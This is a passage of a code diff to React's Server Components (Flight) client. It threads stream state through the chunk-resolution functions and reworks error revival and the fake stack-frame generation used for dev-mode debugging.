+      if (chunk.status === PENDING || chunk.status === BLOCKED) {
+        const boundAddAsyncInfo = addAsyncInfo.bind(null, chunk, asyncInfo);
+        chunk.then(boundAddAsyncInfo, boundAddAsyncInfo);
+      } else {
+        addAsyncInfo(chunk, asyncInfo);
+      }
+    }
+  }
+}
+
+function resolveDebugHalt(response: Response, id: number): void {
+  const chunks = response._chunks;
+  let chunk = chunks.get(id);
+  if (!chunk) {
+    chunks.set(id, (chunk = createPendingChunk(response)));
+  } else {
+  }
+  if (chunk.status !== PENDING && chunk.status !== BLOCKED) {
+    return;
+  }
+  releasePendingChunk(response, chunk);
+  const haltedChunk: HaltedChunk<any> = (chunk: any);
+  haltedChunk.status = HALTED;
+  haltedChunk.value = null;
+  haltedChunk.reason = null;
+}
+
 function resolveModel(
   response: Response,
   id: number,
   model: UninitializedModel,
+  streamState: StreamState,
 ): void {
   const chunks = response._chunks;
   const chunk = chunks.get(id);
   if (!chunk) {
-    chunks.set(id, createResolvedModelChunk(response, model));
+    const newChunk: ResolvedModelChunk<any> = createResolvedModelChunk(
+      response,
+      model,
+    );
+    if (__DEV__) {
+      resolveChunkDebugInfo(response, streamState, newChunk);
+    }
+    chunks.set(id, newChunk);
   } else {
-    resolveModelChunk(chunk, model);
+    if (__DEV__) {
+      resolveChunkDebugInfo(response, streamState, chunk);
+    }
+    resolveModelChunk(response, chunk, model);
   }
 }
 
-function resolveText(response: Response, id: number, text: string): void {
+function resolveText(
+  response: Response,
+  id: number,
+  text: string,
+  streamState: StreamState,
+): void {
   const chunks = response._chunks;
-  if (enableFlightReadableStream) {
-    const chunk = chunks.get(id);
-    if (chunk && chunk.status !== PENDING) {
-      // If we get more data to an already resolved ID, we assume that it's
-      // a stream chunk since any other row shouldn't have more than one entry.
-      const streamChunk: InitializedStreamChunk<any> = (chunk: any);
-      const controller = streamChunk.reason;
-      controller.enqueueValue(text);
-      return;
-    }
+  const chunk = chunks.get(id);
+  if (chunk && chunk.status !== PENDING) {
+    // If we get more data to an already resolved ID, we assume that it's
+    // a stream chunk since any other row shouldn't have more than one entry.
+    const streamChunk: InitializedStreamChunk<any> = (chunk: any);
+    const controller = streamChunk.reason;
+    controller.enqueueValue(text);
+    return;
+  }
+  if (chunk) {
+    releasePendingChunk(response, chunk);
   }
-  chunks.set(id, createInitializedTextChunk(response, text));
+  const newChunk = createInitializedTextChunk(response, text);
+  if (__DEV__) {
+    resolveChunkDebugInfo(response, streamState, newChunk);
+  }
+  chunks.set(id, newChunk);
 }
 
 function resolveBuffer(
   response: Response,
   id: number,
   buffer: $ArrayBufferView | ArrayBuffer,
+  streamState: StreamState,
 ): void {
   const chunks = response._chunks;
-  if (enableFlightReadableStream) {
-    const chunk = chunks.get(id);
-    if (chunk && chunk.status !== PENDING) {
-      // If we get more data to an already resolved ID, we assume that it's
-      // a stream chunk since any other row shouldn't have more than one entry.
-      const streamChunk: InitializedStreamChunk<any> = (chunk: any);
-      const controller = streamChunk.reason;
-      controller.enqueueValue(buffer);
-      return;
-    }
+  const chunk = chunks.get(id);
+  if (chunk && chunk.status !== PENDING) {
+    // If we get more data to an already resolved ID, we assume that it's
+    // a stream chunk since any other row shouldn't have more than one entry.
+    const streamChunk: InitializedStreamChunk<any> = (chunk: any);
+    const controller = streamChunk.reason;
+    controller.enqueueValue(buffer);
+    return;
+  }
+  if (chunk) {
+    releasePendingChunk(response, chunk);
+  }
+  const newChunk = createInitializedBufferChunk(response, buffer);
+  if (__DEV__) {
+    resolveChunkDebugInfo(response, streamState, newChunk);
   }
-  chunks.set(id, createInitializedBufferChunk(response, buffer));
+  chunks.set(id, newChunk);
 }
 
 function resolveModule(
   response: Response,
   id: number,
   model: UninitializedModel,
+  streamState: StreamState,
 ): void {
   const chunks = response._chunks;
   const chunk = chunks.get(id);
@@ -1414,22 +3105,33 @@ function resolveModule(
       blockedChunk = createBlockedChunk(response);
       chunks.set(id, blockedChunk);
     } else {
+      releasePendingChunk(response, chunk);
       // This can't actually happen because we don't have any forward
       // references to modules.
       blockedChunk = (chunk: any);
       blockedChunk.status = BLOCKED;
     }
+    if (__DEV__) {
+      resolveChunkDebugInfo(response, streamState, blockedChunk);
+    }
     promise.then(
-      () => resolveModuleChunk(blockedChunk, clientReference),
-      error => triggerErrorOnChunk(blockedChunk, error),
+      () => resolveModuleChunk(response, blockedChunk, clientReference),
+      error => triggerErrorOnChunk(response, blockedChunk, error),
     );
   } else {
     if (!chunk) {
-      chunks.set(id, createResolvedModuleChunk(response, clientReference));
+      const newChunk = createResolvedModuleChunk(response, clientReference);
+      if (__DEV__) {
+        resolveChunkDebugInfo(response, streamState, newChunk);
+      }
+      chunks.set(id, newChunk);
     } else {
+      if (__DEV__) {
+        resolveChunkDebugInfo(response, streamState, chunk);
+      }
       // This can't actually happen because we don't have any forward
       // references to modules.
-      resolveModuleChunk(chunk, clientReference);
+      resolveModuleChunk(response, chunk, clientReference);
     }
   }
 }
@@ -1439,24 +3141,72 @@ function resolveStream<T: ReadableStream | $AsyncIterable<any, any, void>>(
   id: number,
   stream: T,
   controller: FlightStreamController,
+  streamState: StreamState,
 ): void {
   const chunks = response._chunks;
   const chunk = chunks.get(id);
   if (!chunk) {
-    chunks.set(id, createInitializedStreamChunk(response, stream, controller));
+    const newChunk = createInitializedStreamChunk(response, stream, controller);
+    if (__DEV__) {
+      resolveChunkDebugInfo(response, streamState, newChunk);
+    }
+    chunks.set(id, newChunk);
     return;
   }
+  if (__DEV__) {
+    resolveChunkDebugInfo(response, streamState, chunk);
+  }
   if (chunk.status !== PENDING) {
     // We already resolved. We didn't expect to see this.
     return;
   }
+
   const resolveListeners = chunk.value;
+
+  if (__DEV__) {
+    // Initialize any debug info and block the initializing chunk on any
+    // unresolved entries.
+    if (chunk._debugChunk != null) {
+      const prevHandler = initializingHandler;
+      const prevChunk = initializingChunk;
+      initializingHandler = null;
+      const cyclicChunk: BlockedChunk<T> = (chunk: any);
+      cyclicChunk.status = BLOCKED;
+      cyclicChunk.value = null;
+      cyclicChunk.reason = null;
+      if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {
+        initializingChunk = cyclicChunk;
+      }
+      try {
+        initializeDebugChunk(response, chunk);
+        if (initializingHandler !== null) {
+          if (initializingHandler.errored) {
+            // Ignore error parsing debug info, we'll report the original error instead.
+          } else if (initializingHandler.deps > 0) {
+            // Leave blocked until we can resolve all the debug info.
+            initializingHandler.value = stream;
+            initializingHandler.reason = controller;
+            initializingHandler.chunk = cyclicChunk;
+            return;
+          }
+        }
+      } finally {
+        initializingHandler = prevHandler;
+        initializingChunk = prevChunk;
+      }
+    }
+  }
+
   const resolvedChunk: InitializedStreamChunk<T> = (chunk: any);
   resolvedChunk.status = INITIALIZED;
   resolvedChunk.value = stream;
   resolvedChunk.reason = controller;
   if (resolveListeners !== null) {
-    wakeChunk(resolveListeners, chunk.value);
+    wakeChunk(response, resolveListeners, chunk.value, (chunk: any));
+  } else {
+    if (__DEV__) {
+      processChunkDebugInfo(response, resolvedChunk, stream);
+    }
   }
 }
 
@@ -1464,8 +3214,10 @@ function startReadableStream<T>(
   response: Response,
   id: number,
   type: void | 'bytes',
+  streamState: StreamState,
 ): void {
   let controller: ReadableStreamController = (null: any);
+  let closed = false;
   const stream = new ReadableStream({
     type: type,
     start(c) {
@@ -1518,11 +3270,15 @@ function startReadableStream<T>(
             // to synchronous emitting.
             previousBlockedChunk = null;
           }
-          resolveModelChunk(chunk, json);
+          resolveModelChunk(response, chunk, json);
         });
       }
     },
     close(json: UninitializedModel): void {
+      if (closed) {
+        return;
+      }
+      closed = true;
       if (previousBlockedChunk === null) {
         controller.close();
       } else {
@@ -1533,6 +3289,10 @@ function startReadableStream<T>(
       }
     },
     error(error: mixed): void {
+      if (closed) {
+        return;
+      }
+      closed = true;
       if (previousBlockedChunk === null) {
         // $FlowFixMe[incompatible-call]
         controller.error(error);
@@ -1544,7 +3304,7 @@ function startReadableStream<T>(
       }
     },
   };
-  resolveStream(response, id, stream, flightController);
+  resolveStream(response, id, stream, flightController, streamState);
 }
 
 function asyncIterator(this: $AsyncIterator<any, any, void>) {
@@ -1570,6 +3330,7 @@ function startAsyncIterable<T>(
   response: Response,
   id: number,
   iterator: boolean,
+  streamState: StreamState,
 ): void {
   const buffer: Array<SomeChunk<IteratorResult<T, T>>> = [];
   let closed = false;
@@ -1592,8 +3353,14 @@ function startAsyncIterable<T>(
           (chunk: any);
         initializedChunk.status = INITIALIZED;
         initializedChunk.value = {done: false, value: value};
+        initializedChunk.reason = null;
         if (resolveListeners !== null) {
-          wakeChunkIfInitialized(chunk, resolveListeners, rejectListeners);
+          wakeChunkIfInitialized(
+            response,
+            chunk,
+            resolveListeners,
+            rejectListeners,
+          );
         }
       }
       nextWriteIndex++;
@@ -1606,11 +3373,19 @@ function startAsyncIterable<T>(
           false,
         );
       } else {
-        resolveIteratorResultChunk(buffer[nextWriteIndex], value, false);
+        resolveIteratorResultChunk(
+          response,
+          buffer[nextWriteIndex],
+          value,
+          false,
+        );
       }
       nextWriteIndex++;
     },
     close(value: UninitializedModel): void {
+      if (closed) {
+        return;
+      }
       closed = true;
       if (nextWriteIndex === buffer.length) {
         buffer[nextWriteIndex] = createResolvedIteratorResultChunk(
@@ -1619,12 +3394,18 @@ function startAsyncIterable<T>(
           true,
         );
       } else {
-        resolveIteratorResultChunk(buffer[nextWriteIndex], value, true);
+        resolveIteratorResultChunk(
+          response,
+          buffer[nextWriteIndex],
+          value,
+          true,
+        );
       }
       nextWriteIndex++;
       while (nextWriteIndex < buffer.length) {
         // In generators, any extra reads from the iterator have the value undefined.
         resolveIteratorResultChunk(
+          response,
           buffer[nextWriteIndex++],
           '"$undefined"',
           true,
@@ -1632,42 +3413,46 @@ function startAsyncIterable<T>(
       }
     },
     error(error: Error): void {
+      if (closed) {
+        return;
+      }
       closed = true;
       if (nextWriteIndex === buffer.length) {
         buffer[nextWriteIndex] =
           createPendingChunk<IteratorResult<T, T>>(response);
       }
       while (nextWriteIndex < buffer.length) {
-        triggerErrorOnChunk(buffer[nextWriteIndex++], error);
+        triggerErrorOnChunk(response, buffer[nextWriteIndex++], error);
       }
     },
   };
-  const iterable: $AsyncIterable<T, T, void> = {
-    [ASYNC_ITERATOR](): $AsyncIterator<T, T, void> {
-      let nextReadIndex = 0;
-      return createIterator(arg => {
-        if (arg !== undefined) {
-          throw new Error(
-            'Values cannot be passed to next() of AsyncIterables passed to Client Components.',
+
+  const iterable: $AsyncIterable<T, T, void> = ({}: any);
+  // $FlowFixMe[cannot-write]
+  iterable[ASYNC_ITERATOR] = (): $AsyncIterator<T, T, void> => {
+    let nextReadIndex = 0;
+    return createIterator(arg => {
+      if (arg !== undefined) {
+        throw new Error(
+          'Values cannot be passed to next() of AsyncIterables passed to Client Components.',
+        );
+      }
+      if (nextReadIndex === buffer.length) {
+        if (closed) {
+          // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
+          return new ReactPromise(
+            INITIALIZED,
+            {done: true, value: undefined},
+            null,
           );
         }
-        if (nextReadIndex === buffer.length) {
-          if (closed) {
-            // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-            return new Chunk(
-              INITIALIZED,
-              {done: true, value: undefined},
-              null,
-              response,
-            );
-          }
-          buffer[nextReadIndex] =
-            createPendingChunk<IteratorResult<T, T>>(response);
-        }
-        return buffer[nextReadIndex++];
-      });
-    },
+        buffer[nextReadIndex] =
+          createPendingChunk<IteratorResult<T, T>>(response);
+      }
+      return buffer[nextReadIndex++];
+    });
   };
+
   // TODO: If it's a single shot iterator we can optimize memory by cleaning up the buffer after
   // reading through the end, but currently we favor code size over this optimization.
   resolveStream(
@@ -1675,6 +3460,7 @@ function startAsyncIterable<T>(
     id,
     iterator ? iterable[ASYNC_ITERATOR]() : iterable,
     flightController,
+    streamState,
   );
 }
 
@@ -1689,17 +3475,21 @@ function stopStream(
     // We didn't expect not to have an existing stream;
     return;
   }
+  if (__DEV__) {
+    if (--response._pendingChunks === 0) {
+      // We're no longer waiting for any more chunks. We can release the strong
+      // reference to the response. We'll regain it if we ask for any more data
+      // later on.
+      response._weakResponse.response = null;
+    }
+  }
   const streamChunk: InitializedStreamChunk<any> = (chunk: any);
   const controller = streamChunk.reason;
   controller.close(row === '' ? '"$undefined"' : row);
 }
 
 type ErrorWithDigest = Error & {digest?: string};
-function resolveErrorProd(
-  response: Response,
-  id: number,
-  digest: string,
-): void {
+function resolveErrorProd(response: Response): Error {
   if (__DEV__) {
     // These errors should never make it into a build so we don't need to encode them in codes.json
     // eslint-disable-next-line react-internal/prod-error-codes
@@ -1713,24 +3503,18 @@ function resolveErrorProd(
       ' may provide additional details about the nature of the error.',
   );
   error.stack = 'Error: ' + error.message;
-  (error: any).digest = digest;
-  const errorWithDigest: ErrorWithDigest = (error: any);
-  const chunks = response._chunks;
-  const chunk = chunks.get(id);
-  if (!chunk) {
-    chunks.set(id, createErrorChunk(response, errorWithDigest));
-  } else {
-    triggerErrorOnChunk(chunk, errorWithDigest);
-  }
+  return error;
 }
 
 function resolveErrorDev(
   response: Response,
-  id: number,
-  digest: string,
-  message: string,
-  stack: string,
-): void {
+  errorInfo: ReactErrorInfoDev,
+): Error {
+  const name = errorInfo.name;
+  const message = errorInfo.message;
+  const stack = errorInfo.stack;
+  const env = errorInfo.env;
+
   if (!__DEV__) {
     // These errors should never make it into a build so we don't need to encode them in codes.json
     // eslint-disable-next-line react-internal/prod-error-codes
@@ -1740,93 +3524,113 @@ function resolveErrorDev(
   }
 
   let error;
-  if (!enableOwnerStacks) {
-    // Executing Error within a native stack isn't really limited to owner stacks
-    // but we gate it behind the same flag for now while iterating.
-    // eslint-disable-next-line react-internal/prod-error-codes
-    error = Error(
-      message ||
-        'An error occurred in the Server Components render but no message was provided',
-    );
-    error.stack = stack;
-  } else {
-    const callStack = buildFakeCallStack(
-      response,
-      stack,
-      // $FlowFixMe[incompatible-use]
-      Error.bind(
-        null,
-        message ||
-          'An error occurred in the Server Components render but no message was provided',
-      ),
-    );
-    const rootTask = response._debugRootTask;
+  const errorOptions =
+    // We don't serialize Error.cause in prod so we never need to deserialize
+    __DEV__ && 'cause' in errorInfo
+      ? {
+          cause: reviveModel(
+            response,
+            // $FlowFixMe[incompatible-cast] -- Flow thinks `cause` in `cause?: JSONValue` can be undefined after `in` check.
+            (errorInfo.cause: JSONValue),
+            errorInfo,
+            'cause',
+          ),
+        }
+      : undefined;
+  const isAggregateError =
+    typeof AggregateError !== 'undefined' && 'errors' in errorInfo;
+  const revivedErrors =
+    // We don't serialize AggregateError.errors in prod so we never need to deserialize
+    __DEV__ && isAggregateError
+      ? reviveModel(
+          response,
+          // $FlowFixMe[incompatible-cast]
+          (errorInfo.errors: JSONValue),
+          errorInfo,
+          'errors',
+        )
+      : null;
+  const callStack = buildFakeCallStack(
+    response,
+    stack,
+    env,
+    false,
+    isAggregateError
+      ? // $FlowFixMe[incompatible-use]
+        AggregateError.bind(
+          null,
+          revivedErrors,
+          message ||
+            'An error occurred in the Server Components render but no message was provided',
+          errorOptions,
+        )
+      : // $FlowFixMe[incompatible-use]
+        Error.bind(
+          null,
+          message ||
+            'An error occurred in the Server Components render but no message was provided',
+          errorOptions,
+        ),
+  );
+
+  let ownerTask: null | ConsoleTask = null;
+  if (errorInfo.owner != null) {
+    const ownerRef = errorInfo.owner.slice(1);
+    // TODO: This is not resilient to the owner loading later in an Error like a debug channel.
+    // The whole error serialization should probably go through the regular model at least for DEV.
+    const owner = getOutlinedModel(response, ownerRef, {}, '', createModel);
+    if (owner !== null) {
+      ownerTask = initializeFakeTask(response, owner);
+    }
+  }
+
+  if (ownerTask === null) {
+    const rootTask = getRootTask(response, env);
     if (rootTask != null) {
       error = rootTask.run(callStack);
     } else {
       error = callStack();
     }
-  }
-
-  (error: any).digest = digest;
-  const errorWithDigest: ErrorWithDigest = (error: any);
-  const chunks = response._chunks;
-  const chunk = chunks.get(id);
-  if (!chunk) {
-    chunks.set(id, createErrorChunk(response, errorWithDigest));
   } else {
-    triggerErrorOnChunk(chunk, errorWithDigest);
+    error = ownerTask.run(callStack);
   }
-}
 
-function resolvePostponeProd(response: Response, id: number): void {
-  if (__DEV__) {
-    // These errors should never make it into a build so we don't need to encode them in codes.json
-    // eslint-disable-next-line react-internal/prod-error-codes
-    throw new Error(
-      'resolvePostponeProd should never be called in development mode. Use resolvePostponeDev instead. This is a bug in React.',
-    );
-  }
-  const error = new Error(
-    'A Server Component was postponed. The reason is omitted in production' +
-      ' builds to avoid leaking sensitive details.',
-  );
-  const postponeInstance: Postpone = (error: any);
-  postponeInstance.$$typeof = REACT_POSTPONE_TYPE;
-  postponeInstance.stack = 'Error: ' + error.message;
-  const chunks = response._chunks;
-  const chunk = chunks.get(id);
-  if (!chunk) {
-    chunks.set(id, createErrorChunk(response, postponeInstance));
-  } else {
-    triggerErrorOnChunk(chunk, postponeInstance);
-  }
+  (error: any).name = name;
+  (error: any).environmentName = env;
+  return error;
 }
 
-function resolvePostponeDev(
+function resolveErrorModel(
   response: Response,
   id: number,
-  reason: string,
-  stack: string,
+  row: UninitializedModel,
+  streamState: StreamState,
 ): void {
-  if (!__DEV__) {
-    // These errors should never make it into a build so we don't need to encode them in codes.json
-    // eslint-disable-next-line react-internal/prod-error-codes
-    throw new Error(
-      'resolvePostponeDev should never be called in production mode. Use resolvePostponeProd instead. This is a bug in React.',
-    );
-  }
-  // eslint-disable-next-line react-internal/prod-error-codes
-  const error = new Error(reason || '');
-  const postponeInstance: Postpone = (error: any);
-  postponeInstance.$$typeof = REACT_POSTPONE_TYPE;
-  postponeInstance.stack = stack;
   const chunks = response._chunks;
   const chunk = chunks.get(id);
+  const errorInfo = JSON.parse(row);
+  let error;
+  if (__DEV__) {
+    error = resolveErrorDev(response, errorInfo);
+  } else {
+    error = resolveErrorProd(response);
+  }
+  (error: any).digest = errorInfo.digest;
+  const errorWithDigest: ErrorWithDigest = (error: any);
   if (!chunk) {
-    chunks.set(id, createErrorChunk(response, postponeInstance));
+    const newChunk: ErroredChunk<any> = createErrorChunk(
+      response,
+      errorWithDigest,
+    );
+    if (__DEV__) {
+      resolveChunkDebugInfo(response, streamState, newChunk);
+    }
+    chunks.set(id, newChunk);
   } else {
-    triggerErrorOnChunk(chunk, postponeInstance);
+    if (__DEV__) {
+      resolveChunkDebugInfo(response, streamState, chunk);
+    }
+    triggerErrorOnChunk(response, chunk, errorWithDigest);
   }
 }
 
@@ -1839,9 +3643,7 @@ function resolveHint<Code: HintCode>(
   dispatchHint(code, hintModel);
 }
 
-// eslint-disable-next-line react-internal/no-production-logging
-const supportsCreateTask =
-  __DEV__ && enableOwnerStacks && !!(console: any).createTask;
+const supportsCreateTask = __DEV__ && !!(console: any).createTask;
 
 type FakeFunction<T> = (() => T) => T;
 const fakeFunctionCache: Map<string, FakeFunction<any>> = __DEV__
@@ -1855,6 +3657,9 @@ function createFakeFunction<T>(
   sourceMap: null | string,
   line: number,
   col: number,
+  enclosingLine: number,
+  enclosingCol: number,
+  environmentName: string,
 ): FakeFunction<T> {
   // This creates a fake copy of a Server Module. It represents a module that has already
   // executed on the server but we re-execute a blank copy for its stack frames on the client.
@@ -1862,47 +3667,147 @@ function createFakeFunction<T>(
   const comment =
     '/* This module was rendered by a Server Component. Turn on Source Maps to see the server source. */';
 
+  if (!name) {
+    // An eval:ed function with no name gets the name "eval". We give it something more descriptive.
+    name = '<anonymous>';
+  }
+  const encodedName = JSON.stringify(name);
   // We generate code where the call is at the line and column of the server executed code.
   // This allows us to use the original source map as the source map of this fake file to
   // point to the original source.
   let code;
-  if (line <= 1) {
-    code = '_=>' + ' '.repeat(col < 4 ? 0 : col - 4) + '_()\n' + comment;
+  // Normalize line/col to zero based.
+  if (enclosingLine < 1) {
+    enclosingLine = 0;
   } else {
-    code =
-      comment +
-      '\n'.repeat(line - 2) +
-      '_=>\n' +
-      ' '.repeat(col < 1 ? 0 : col - 1) +
-      '_()';
+    enclosingLine--;
   }
-
-  if (filename.startsWith('/')) {
-    // If the filename starts with `/` we assume that it is a file system file
-    // rather than relative to the current host. Since on the server fully qualified
-    // stack traces use the file path.
-    // TODO: What does this look like on Windows?
-    filename = 'file://' + filename;
+  if (enclosingCol < 1) {
+    enclosingCol = 0;
+  } else {
+    enclosingCol--;
   }
-
-  if (sourceMap) {
-    // We use the prefix rsc://React/ to separate these from other files listed in
+  if (line < 1) {
+    line = 0;
+  } else {
+    line--;
+  }
+  if (col < 1) {
+    col = 0;
+  } else {
+    col--;
+  }
+  if (line < enclosingLine || (line === enclosingLine && col < enclosingCol)) {
+    // Protection against invalid enclosing information. Should not happen.
+    enclosingLine = 0;
+    enclosingCol = 0;
+  }
+  if (line < 1) {
+    // Fit everything on the first line.
+    const minCol = encodedName.length + 3;
+    let enclosingColDistance = enclosingCol - minCol;
+    if (enclosingColDistance < 0) {
+      enclosingColDistance = 0;
+    }
+    let colDistance = col - enclosingColDistance - minCol - 3;
+    if (colDistance < 0) {
+      colDistance = 0;
+    }
+    code =
+      '({' +
+      encodedName +
+      ':' +
+      ' '.repeat(enclosingColDistance) +
+      '_=>' +
+      ' '.repeat(colDistance) +
+      '_()})';
+  } else if (enclosingLine < 1) {
+    // Fit just the enclosing function on the first line.
+    const minCol = encodedName.length + 3;
+    let enclosingColDistance = enclosingCol - minCol;
+    if (enclosingColDistance < 0) {
+      enclosingColDistance = 0;
+    }
+    code =
+      '({' +
+      encodedName +
+      ':' +
+      ' '.repeat(enclosingColDistance) +
+      '_=>' +
+      '\n'.repeat(line - enclosingLine) +
+      ' '.repeat(col) +
+      '_()})';
+  } else if (enclosingLine === line) {
+    // Fit the enclosing function and callsite on same line.
+    let colDistance = col - enclosingCol - 3;
+    if (colDistance < 0) {
+      colDistance = 0;
+    }
+    code =
+      '\n'.repeat(enclosingLine - 1) +
+      '({' +
+      encodedName +
+      ':\n' +
+      ' '.repeat(enclosingCol) +
+      '_=>' +
+      ' '.repeat(colDistance) +
+      '_()})';
+  } else {
+    // This is the ideal because we can always encode any position.
+    code =
+      '\n'.repeat(enclosingLine - 1) +
+      '({' +
+      encodedName +
+      ':\n' +
+      ' '.repeat(enclosingCol) +
+      '_=>' +
+      '\n'.repeat(line - enclosingLine) +
+      ' '.repeat(col) +
+      '_()})';
+  }
+
+  if (enclosingLine < 1) {
+    // If the function starts at the first line, we append the comment after.
+    code = code + '\n' + comment;
+  } else {
+    // Otherwise we prepend the comment on the first line.
+    code = comment + code;
+  }
+
+  if (filename.startsWith('/')) {
+    // If the filename starts with `/` we assume that it is a file system file
+    // rather than relative to the current host. Since on the server fully qualified
+    // stack traces use the file path.
+    // TODO: What does this look like on Windows?
+    filename = 'file://' + filename;
+  }
+
+  if (sourceMap) {
+    // We use the prefix about://React/ to separate these from other files listed in
     // the Chrome DevTools. We need a "host name" and not just a protocol because
     // otherwise the group name becomes the root folder. Ideally we don't want to
     // show these at all but there's two reasons to assign a fake URL.
     // 1) A printed stack trace string needs a unique URL to be able to source map it.
     // 2) If source maps are disabled or fails, you should at least be able to tell
     //    which file it was.
-    code += '\n//# sourceURL=rsc://React/' + filename + '?' + fakeFunctionIdx++;
+    code +=
+      '\n//# sourceURL=about://React/' +
+      encodeURIComponent(environmentName) +
+      '/' +
+      encodeURI(filename) +
+      '?' +
+      fakeFunctionIdx++;
     code += '\n//# sourceMappingURL=' + sourceMap;
   } else if (filename) {
-    code += '\n//# sourceURL=' + filename;
+    code += '\n//# sourceURL=' + encodeURI(filename);
+  } else {
+    code += '\n//# sourceURL=<anonymous>';
   }
 
   let fn: FakeFunction<T>;
   try {
     // eslint-disable-next-line no-eval
-    fn = (0, eval)(code);
+    fn = (0, eval)(code)[name];
   } catch (x) {
     // If eval fails, such as if in an environment that doesn't support it,
     // we fallback to creating a function here. It'll still have the right
@@ -1910,121 +3815,408 @@ function createFakeFunction<T>(
     fn = function (_) {
       return _();
     };
+    // Using the usual {[name]: _() => _()}.bind() trick to avoid minifiers
+    // doesn't work here since this will produce `Object.*` names.
+    Object.defineProperty(
+      fn,
+      // $FlowFixMe[cannot-write] -- `name` is configurable though.
+      'name',
+      {value: name},
+    );
   }
-  // $FlowFixMe[cannot-write]
-  Object.defineProperty(fn, 'name', {value: name || '(anonymous)'});
-  // $FlowFixMe[prop-missing]
-  fn.displayName = name;
   return fn;
 }
 
-// This matches either of these V8 formats.
-//     at name (filename:0:0)
-//     at filename:0:0
-//     at async filename:0:0
-const frameRegExp =
-  /^ {3} at (?:(.+) \(([^\)]+):(\d+):(\d+)\)|(?:async )?([^\)]+):(\d+):(\d+))$/;
-
 function buildFakeCallStack<T>(
   response: Response,
-  stack: string,
+  stack: ReactStackTrace,
+  environmentName: string,
+  useEnclosingLine: boolean,
   innerCall: () => T,
 ): () => T {
-  const frames = stack.split('\n');
   let callStack = innerCall;
-  for (let i = 0; i < frames.length; i++) {
-    const frame = frames[i];
-    let fn = fakeFunctionCache.get(frame);
+  for (let i = 0; i < stack.length; i++) {
+    const frame = stack[i];
+    const frameKey =
+      frame.join('-') +
+      '-' +
+      environmentName +
+      (useEnclosingLine ? '-e' : '-n');
+    let fn = fakeFunctionCache.get(frameKey);
     if (fn === undefined) {
-      const parsed = frameRegExp.exec(frame);
-      if (!parsed) {
-        // We assume the server returns a V8 compatible stack trace.
-        continue;
-      }
-      const name = parsed[1] || '';
-      const filename = parsed[2] || parsed[5] || '';
-      const line = +(parsed[3] || parsed[6]);
-      const col = +(parsed[4] || parsed[7]);
-      const sourceMap = response._debugFindSourceMapURL
-        ? response._debugFindSourceMapURL(filename)
+      const [name, filename, line, col, enclosingLine, enclosingCol] = frame;
+      const findSourceMapURL = response._debugFindSourceMapURL;
+      const sourceMap = findSourceMapURL
+        ? findSourceMapURL(filename, environmentName)
         : null;
-      fn = createFakeFunction(name, filename, sourceMap, line, col);
+      fn = createFakeFunction(
+        name,
+        filename,
+        sourceMap,
+        line,
+        col,
+        useEnclosingLine ? line : enclosingLine,
+        useEnclosingLine ? col : enclosingCol,
+        environmentName,
+      );
       // TODO: This cache should technically live on the response since the _debugFindSourceMapURL
       // function is an input and can vary by response.
-      fakeFunctionCache.set(frame, fn);
+      fakeFunctionCache.set(frameKey, fn);
     }
     callStack = fn.bind(null, callStack);
   }
   return callStack;
 }
 
+function getRootTask(
+  response: Response,
+  childEnvironmentName: string,
+): null | ConsoleTask {
+  const rootTask = response._debugRootTask;
+  if (!rootTask) {
+    return null;
+  }
+  if (response._rootEnvironmentName !== childEnvironmentName) {
+    // If the root most owner component is itself in a different environment than the requested
+    // environment then we create an extra task to indicate that we're transitioning into it.
+    // Like if one environment just requests another environment.
+    const createTaskFn = (console: any).createTask.bind(
+      console,
+      '"use ' + childEnvironmentName.toLowerCase() + '"',
+    );
+    return rootTask.run(createTaskFn);
+  }
+  return rootTask;
+}
+
 function initializeFakeTask(
   response: Response,
-  debugInfo: ReactComponentInfo | ReactAsyncInfo,
+  debugInfo: ReactComponentInfo | ReactAsyncInfo | ReactIOInfo,
 ): null | ConsoleTask {
-  if (!supportsCreateTask || typeof debugInfo.stack !== 'string') {
+  if (!supportsCreateTask) {
     return null;
   }
-  const componentInfo: ReactComponentInfo = (debugInfo: any); // Refined
-  const stack: string = debugInfo.stack;
-  const cachedEntry = componentInfo.task;
+  if (debugInfo.stack == null) {
+    // If this is an error, we should've really already initialized the task.
+    // If it's null, we can't initialize a task.
+    return null;
+  }
+  const cachedEntry = debugInfo.debugTask;
   if (cachedEntry !== undefined) {
     return cachedEntry;
   }
 
+  // Workaround for a bug where Chrome Performance tracking uses the enclosing line/column
+  // instead of the callsite. For ReactAsyncInfo/ReactIOInfo, the only thing we're going
+  // to use the fake task for is the Performance tracking so we encode the enclosing line/
+  // column at the callsite to get a better line number. We could do this for Components too
+  // but we're going to use those for other things too like console logs and it's not worth
+  // duplicating. If this bug is every fixed in Chrome, this should be set to false.
+  const useEnclosingLine = debugInfo.key === undefined;
+
+  const stack = debugInfo.stack;
+  const env: string =
+    debugInfo.env == null ? response._rootEnvironmentName : debugInfo.env;
+  const ownerEnv: string =
+    debugInfo.owner == null || debugInfo.owner.env == null
+      ? response._rootEnvironmentName
+      : debugInfo.owner.env;
   const ownerTask =
-    componentInfo.owner == null
+    debugInfo.owner == null
       ? null
-      : initializeFakeTask(response, componentInfo.owner);
+      : initializeFakeTask(response, debugInfo.owner);
+  const taskName =
+    // This is the boundary between two environments so we'll annotate the task name.
+    // We assume that the stack frame of the entry into the new environment was done
+    // from the old environment. So we use the owner's environment as the current.
+    env !== ownerEnv
+      ? '"use ' + env.toLowerCase() + '"'
+      : // Some unfortunate pattern matching to refine the type.
+        debugInfo.key !== undefined
+        ? getServerComponentTaskName(((debugInfo: any): ReactComponentInfo))
+        : debugInfo.name !== undefined
+          ? getIOInfoTaskName(((debugInfo: any): ReactIOInfo))
+          : getAsyncInfoTaskName(((debugInfo: any): ReactAsyncInfo));
+  // $FlowFixMe[cannot-write]: We consider this part of initialization.
+  return (debugInfo.debugTask = buildFakeTask(
+    response,
+    ownerTask,
+    stack,
+    taskName,
+    ownerEnv,
+    useEnclosingLine,
+  ));
+}
 
-  // eslint-disable-next-line react-internal/no-production-logging
-  const createTaskFn = (console: any).createTask.bind(
-    console,
-    getServerComponentTaskName(componentInfo),
+function buildFakeTask(
+  response: Response,
+  ownerTask: null | ConsoleTask,
+  stack: ReactStackTrace,
+  taskName: string,
+  env: string,
+  useEnclosingLine: boolean,
+): ConsoleTask {
+  const createTaskFn = (console: any).createTask.bind(console, taskName);
+  const callStack = buildFakeCallStack(
+    response,
+    stack,
+    env,
+    useEnclosingLine,
+    createTaskFn,
   );
